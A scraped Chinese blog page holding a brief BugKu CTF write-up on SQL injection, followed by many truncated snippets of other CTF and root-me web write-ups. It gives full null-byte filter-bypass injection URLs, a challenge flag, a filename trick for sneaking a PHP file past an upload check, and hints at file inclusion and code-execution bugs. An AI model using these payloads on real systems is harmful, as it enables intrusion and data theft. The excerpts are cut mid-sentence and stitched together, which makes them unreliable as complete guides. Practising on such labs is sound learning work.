BugKuCTF(CTF-練習平臺)——WEB-SQL注入1

阿新 • • 發佈：2019-01-04

%00截斷

http://103.238.227.13:10087/?id=-1%20uni%00on%20sel%00ect%201,database()%23

http://103.238.227.13:10087/?id=-1%20uni%00on%20sel%00ect%201,hash%20fro%00m%20sql3.key%23

KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}

%00截斷 http://103.238.227.13:10087/?id=-1%20uni%00on%20sel%00ect%201,database()%23 http://103.238.227.13:10087/?id=-1%20uni%00on%20

簽到題web2檔案上傳測試經典的題目，用burp抓包得到如下然後我們更改一下上傳路徑然後用%00截斷一下即可Content-Disposition: form-data; name="file"; filename="3.png%001.php"1計算題改一下瀏覽器中的te

簽到題 web2 檔案上傳測試經典的題目，用burp抓包得到如下然後我們更改一下上傳路徑然後用%00截斷一下即可 Content-Disposition: form-data; name="file"; filena

題目描述：題目解答： 1）思路：看到柵欄，想到柵欄密碼，2個說明每組字數為2，在網址http://www.qqxiuzi.cn/bianma/zhalanmima.php中解密 2）解密：故flag為：KEY{sad23jjdsa2}

題目描述：問題解答： 1）思路：初見題目，這是一段加密文字，觀察後兩位是相同的字母，這讓我想到是凱撒加密與base64相結合的加密方式。 1）解密： 1.根據ASCII表，將上述文字轉換為十進位制，網址http://www.ab126.com/goju/1711

題目描述：題目解答： 1）思路：看到題目，說明是Ook編碼（這裡分享13種不常見的編碼http://news.mydrivers.com/1/190/190926.htm），在網址http://tool.bugku.com/brainfuck/中解密 2）解密：

練習網址http://103.238.227.13:10083/ 頁面截圖由以上提示我們可以看出查詢key表，id=1的string欄位，為此我們可以從最基本的注入開始嘗試發現並不報錯，想到了寬位元組注入，並且可以驗證一下： http://103.238.227.1

靶機地址 http://challenge01.root-me.org/web-serveur/ch41/ 模板引擎模板的誕生是為了將顯示與資料分離，模板技術多種多樣，但其本質是將模板檔案和資料通過模板引擎生成最終的HTML程式碼。服務端模板注入和常見We

原題內容：http://103.238.227.13:10089/Flag格式:Flag:xxxxxxxxxxxxxxxxxxxxxxxx題目有點坑啊，注入點都沒說明，去群裡問的，這題注入點為id（get方式），id的值會進行替換後進入s補充了這個，好了，繼續做題右鍵原始碼&l

原題內容： http://47.93.190.246:49163/ flag格式：SKCTF{xxxxxxxxxxxxxxxxx} hint:SQL約束攻擊題目提示很明顯了，這裡直接幾個截圖解釋

bugku Web WriteUp 剛剛接觸ctf沒多久，做ctf-練習平臺上的題目，有些新的題目，在網上沒有找到對應的writeup，所以做了之後就想自己寫一個，也順便理理自己的思路。（沒有太多經驗…可能對有些題目的理解還不深刻…）簽到題

原題內容： http://120.24.86.145:8006/test1/ 首先b

目前只會做1和2。。3的話網上查了wp不知道他們sqlmap沒防任何過濾咱們跑出來的。。。等來年長了本事了，一定要自己手工做出來注入1的話呢，在輸入1’ or ‘1’=’1的時候就發現存在過濾，後來發現是空格被過濾了，所以我們用註釋符/*來替換空格，注入1的

解題連結： http://ctf5.shiyanbar.com/423/web/ 解題思路：一，輸入1，不報錯；輸入1',報錯；輸入1'',不報錯。二，輸入1 and 1=1,返回1 1=1,可知，and被過濾了。三， &n

靶機地址 http://challenge01.root-me.org/web-serveur/ch13/ 解題思路根據題目，得知考的應該是include()函式遠端包含檔案，那麼則需要php.ini的配置選項allow_url_fopen和allow_u

靶機地址 http://challenge01.root-me.org/web-serveur/ch44/ 解題思路檢視提示的原始碼，發現主要是需要繞過以下比較： if($auth['data']['login'] == $USER &&

靶機地址 http://challenge01.root-me.org/web-serveur/ch37/index.php 解題思路此題考的是利用PHP 的preg_replace函式導致的程式碼執行。 /e 修正符使 preg_replace()

靶機地址 http://challenge01.root-me.org/web-serveur/ch55/ 解題思路檢視提示的原始碼，發現需要滿足 $s != false && $h != false if($s.$r == $h) 也就

靶機地址 http://challenge01.root-me.org/web-serveur/ch45/ 解題思路通過構造測試連結發現，這關也是通過include函式包含的，並且檔名自動加上.inc.php，而這個版本的php是無法使用%00也就是null位元組

靶機地址 http://challenge01.root-me.org/web-serveur/ch16/ 解題思路通過點選網站上的不同板塊，可以看到可根據不同目錄讀取相應的檔案內容，如以下連結讀取sysadm目錄裡的index.html檔案內容。 http://